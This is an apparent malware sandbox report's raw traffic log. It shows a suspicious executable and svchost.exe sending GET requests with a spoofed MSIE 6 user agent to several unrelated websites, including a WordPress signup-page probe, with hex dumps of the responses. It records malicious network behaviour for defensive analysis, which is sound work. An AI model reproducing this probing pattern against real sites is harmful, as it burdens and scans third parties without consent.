2023-03-10 06:56:14 UTC	194	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:14 UTC	210	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	62477	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	2023	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:27 UTC	2079	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:31 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:31 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eMlJ%2BhHYsNp1LknQq0Mru%2BYtfUhfyI8y5qmRNHXf%2FeYvTF9T3Qc0zSdbzkqwPebCuYzClVC7J9DEZGTVFKAE%2B4QCTWBw1EmWMmJHjP1XpysGpnwWLYGi4T3kCNVsS7Fi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a86af9f93825-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	2080	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:27 UTC	2080	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	62505	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	2036	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:27 UTC	2070	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OxFK0%2FZCBuym6U7iRdwjb7DAwxR%2FsK11lRaQ0aecg2zx9S7eR09QZNVpz7mnlEOCYm9i6ayGyTXiWqVljhpvKBzzYQg7LxsgdbxUsnLBb7boFL20m0PkyrK6S1Is"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a86b58eb3719-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	2071	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:27 UTC	2071	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:27 UTC	2073	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 4f 66 67 43 57 46 5f 4e 6d 35 59 47 6b 31 6c 2e 64 66 54 6d 32 75 73 38 70 46 30 4f 65 6f 61 77 65 33 77 57 71 70 6a 2e 4f 67 38 2d 31 36 37 38 34 33 31 33 38 37 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 67 2e 65 73 4c 53 51 53 5f 45 6f 51 58 4f 5f 47 55 63 51 59 43 41 31 69 30 45 4f 55 56 6f 76 37 62 58 66 39 78 36 62 5a 76 4a 55 2d 31 36 37 38 34 33 31 33 38 37 2d 30 2d 41 53 Data Ascii: "/?__cf_chl_f_tk=OfgCWF_Nm5YGk1l.dfTm2us8pF0Oeoawe3wWqpj.Og8-1678431387-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="g.esLSQS_EoQXO_GUcQYCA1i0EOUVov7bXf9x6bZvJU-1678431387-0-AS
2023-03-10 06:56:27 UTC	2074	IN	Data Raw: 6d 4a 55 4e 54 4e 44 45 72 7a 62 69 5f 67 74 77 48 36 53 32 6f 50 44 32 4a 61 5f 45 43 49 41 47 4d 77 51 4f 58 6b 4e 46 6f 45 36 49 4e 72 46 4b 44 4a 51 79 30 30 54 78 59 2d 2d 33 4d 62 59 73 68 4b 7a 46 69 67 75 31 49 63 41 63 53 76 76 66 71 55 33 49 6e 76 39 41 51 35 30 43 48 39 47 6d 73 55 64 41 79 71 6d 70 6e 45 6c 68 76 77 71 6d 75 32 61 36 54 75 4e 43 6b 77 64 48 64 51 4f 48 52 55 63 6f 58 52 36 67 6b 41 74 41 43 46 67 33 58 39 6f 4a 49 78 64 35 39 47 34 71 45 6c 4c 69 71 52 71 4f 61 39 2d 77 67 68 6f 71 32 52 77 69 4f 72 52 4f 76 34 34 45 69 43 31 41 44 53 49 6e 6c 55 59 42 46 2d 5f 75 70 73 78 38 46 33 7a 38 6d 53 64 34 51 66 46 36 4e 74 6a 2d 4b 6b 32 49 74 35 37 4c 65 75 79 32 64 53 48 2d 42 45 77 47 7a 57 7a 4d 35 77 69 41 74 76 6e 54 2d 5f 66 Data Ascii: mJUNTNDErzbi_gtwH6S2oPD2Ja_ECIAGMwQOXkNFoE6INrFKDJQy00TxY--3MbYshKzFigu1IcAcSvvfqU3Inv9AQ50CH9GmsUdAyqmpnElhvwqmu2a6TuNCkwdHdQOHRUcoXR6gkAtACFg3X9oJIxd59G4qElLiqRqOa9-wghoq2RwiOrROv44EiC1ADSInlUYBF-_upsx8F3z8mSd4QfF6Ntj-Kk2It57Leuy2dSH-BEwGzWzM5wiAtvnT-_f
2023-03-10 06:56:27 UTC	2075	IN	Data Raw: 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 39 63 30 64 34 35 64 37 39 30 34 33 39 62 33 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 4f 66 67 43 57 46 5f 4e 6d 35 59 47 6b 31 6c 2e 64 66 54 6d 32 75 73 38 70 46 30 4f 65 6f 61 77 65 33 77 57 71 70 6a 2e 4f 67 38 2d 31 36 37 38 34 33 31 33 38 37 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 70 6c 56 3a 20 34 2c 0a 20 20 20 Data Ascii: ', cHash: '9c0d45d790439b3', cUPMDTk: "\/?__cf_chl_tk=OfgCWF_Nm5YGk1l.dfTm2us8pF0Oeoawe3wWqpj.Og8-1678431387-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', cTplV: 4,
2023-03-10 06:56:27 UTC	2077	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 78 67 37 4b 54 4d 43 7a 51 35 43 48 64 52 61 48 34 4c 72 32 45 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c 6b 3d 27 2c 0a 20 20 20 20 20 20 20 Data Ascii: i2: 'xg7KTMCzQ5CHdRaH4Lr2EQ==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrlk=',
2023-03-10 06:56:27 UTC	2078	IN	Data Raw: 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 Data Ascii: po.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo"> <div clas
2023-03-10 06:56:27 UTC	2079	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	62579	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	2079	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:27 UTC	2079	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:27 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:27 UTC	2080	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:27 UTC	2096	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:27 UTC	2112	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:27 UTC	2128	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	62655	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:27 UTC	2143	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:27 UTC	2167	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:27 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:27 UTC	2167	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	63154	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2180	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:29 UTC	2332	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=98 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:29 GMT Connection: close
2023-03-10 06:56:29 UTC	2332	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:29 UTC	2335	IN	Data Raw: 7d 72 65 74 75 72 6e 21 31 7d 28 6f 5b 72 5d 29 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 2c 22 66 6c 61 67 22 21 3d 3d 6f 5b 72 5d 26 26 28 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 29 3b 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e Data Ascii: 